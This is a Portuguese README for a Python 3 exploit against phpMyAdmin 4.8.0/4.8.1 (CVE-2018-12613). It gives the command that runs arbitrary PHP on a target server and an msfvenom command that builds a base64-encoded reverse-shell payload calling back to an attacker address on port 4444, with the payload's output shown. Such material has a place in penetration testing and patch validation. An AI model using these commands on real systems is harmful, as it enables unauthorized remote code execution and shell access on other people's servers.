CVE-2018-12613

Exploit independente modificado portado para Python 3. Testado no Python 3.7.3, phpMyAdmin 4.8.1 executando no Ubuntu 16.04. Funciona apenas no Linux. Exploit original por SSD. Todos os créditos a eles.

Mudanças realizadas

1. Adicionada função para sair se o nome de usuário/senha do phpMyAdmin fornecido estiver correto
2. Adicionada função para verificar se a versão é vulnerável (4.8.0 ou 4.8.1)
3. Variáveis convertidas estritamente para bytes ou strings; Python 3 não permite misturar. Veja isto.

Uso:

python3 CVE-2018-12613.py -u phpMyAdmin -p password -U http:///[url-phpMyAdmin] –P ”phpcredits();”

Resultados do código php armazenados em results.html

Para reverse shell

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# msfvenom --platform php -a php -e php/base64 -p php/reverse_php LHOST=192.168.92.134 LPORT=4444 -o payload.php
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4045 (iteration=0)
php/base64 chosen with final size 4045
Payload size: 4045 bytes
Saved as: payload.php

Use o payload php do msfvenom no lugar de phpcredits(); acima

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# cat payload.php

eval(base64_decode(ICAg...gfQo));